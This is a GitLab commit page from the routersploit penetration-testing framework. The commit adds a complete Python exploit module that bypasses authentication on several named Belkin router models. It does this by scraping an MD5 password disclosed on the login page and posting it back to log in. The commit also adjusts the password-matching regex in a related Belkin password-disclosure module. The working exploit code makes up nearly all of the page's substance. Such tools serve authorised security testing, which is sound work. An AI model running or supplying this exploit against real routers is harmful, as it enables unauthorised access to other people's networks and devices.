Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
3231103c
Commit
3231103c
authored
Oct 04, 2016
by
Marcin Bury
Committed by
GitHub
Oct 04, 2016
Browse files
Options
Browse Files
Download
Plain Diff
Merge pull request #136 from BigNerd95/master
New Belkin exploit
parents
92d21418
bdd998fd
Show whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
81 additions
and
2 deletions
+81
-2
auth_bypass.py
routersploit/modules/exploits/belkin/auth_bypass.py
+79
-0
g_n150_password_disclosure.py
...oit/modules/exploits/belkin/g_n150_password_disclosure.py
+2
-2
No files found.
routersploit/modules/exploits/belkin/auth_bypass.py
0 → 100644
View file @
3231103c
import
re
from
routersploit
import
(
exploits
,
print_error
,
print_success
,
http_request
,
mute
,
validators
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Authentication bypass using MD5 password disclosure.
If the target is vulnerable, your computer is automatically authenticated.
"""
__info__
=
{
'name'
:
'Belkin Auth Bypass'
,
'description'
:
'Module exploits Belkin authentication using MD5 password disclosure'
,
'authors'
:
[
'Gregory Smiley <gsx0r.sec[at]gmail.com>'
,
# vulnerability discovery
'BigNerd95 (Lorenzo Santina)'
,
# improved exploit and routersploit module
],
'references'
:
[
'https://securityevaluators.com/knowledge/case_studies/routers/belkin_n900.php'
,
'https://www.exploit-db.com/exploits/40081/'
,
],
'devices'
:
[
'Belkin Play Max (F7D4401)'
,
'Belkin F5D8633'
,
'Belkin N900 (F9K1104)'
,
'Belkin N300 (F7D7301)'
,
'Belkin AC1200'
,
],
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
url
=
"{}:{}/login.stm"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
val
=
re
.
findall
(
'password
\
s?=
\
s?"(.+?)"'
,
response
.
text
)
# in some fw there are no spaces
if
len
(
val
):
url
=
"{}:{}/login.cgi"
.
format
(
self
.
target
,
self
.
port
)
payload
=
"pws="
+
val
[
0
]
+
"&arc_action=login&action=Submit"
login
=
http_request
(
method
=
"POST"
,
url
=
url
,
data
=
payload
)
if
login
is
None
:
return
error
=
re
.
search
(
'loginpserr.stm'
,
login
.
text
)
if
not
error
:
print_success
(
"Exploit success, you are now logged in!"
)
return
print_error
(
"Exploit failed. Device seems to be not vulnerable."
)
@mute
def
check
(
self
):
url
=
"{}:{}/login.stm"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
False
# target is not vulnerable
val
=
re
.
findall
(
'password
\
s?=
\
s?"(.+?)"'
,
response
.
text
)
# in some fw there are no spaces
if
len
(
val
):
return
True
# target vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/g_n150_password_disclosure.py
View file @
3231103c
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
...
@@ -44,7 +44,7 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
if
response
is
None
:
return
return
val
=
re
.
findall
(
'password
= "(.+?)"'
,
response
.
text
)
val
=
re
.
findall
(
'password
\
s?=
\
s?"(.+?)"'
,
response
.
text
)
# in some fw there are no spaces
if
len
(
val
):
if
len
(
val
):
print_success
(
"Exploit success"
)
print_success
(
"Exploit success"
)
...
@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
...
@@ -63,7 +63,7 @@ class Exploit(exploits.Exploit):
if
response
is
None
:
if
response
is
None
:
return
False
# target is not vulnerable
return
False
# target is not vulnerable
val
=
re
.
findall
(
'password
= "(.+?)"'
,
response
.
text
)
val
=
re
.
findall
(
'password
\
s?=
\
s?"(.+?)"'
,
response
.
text
)
# in some fw there are no spaces
if
len
(
val
):
if
len
(
val
):
return
True
# target vulnerable
return
True
# target vulnerable
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment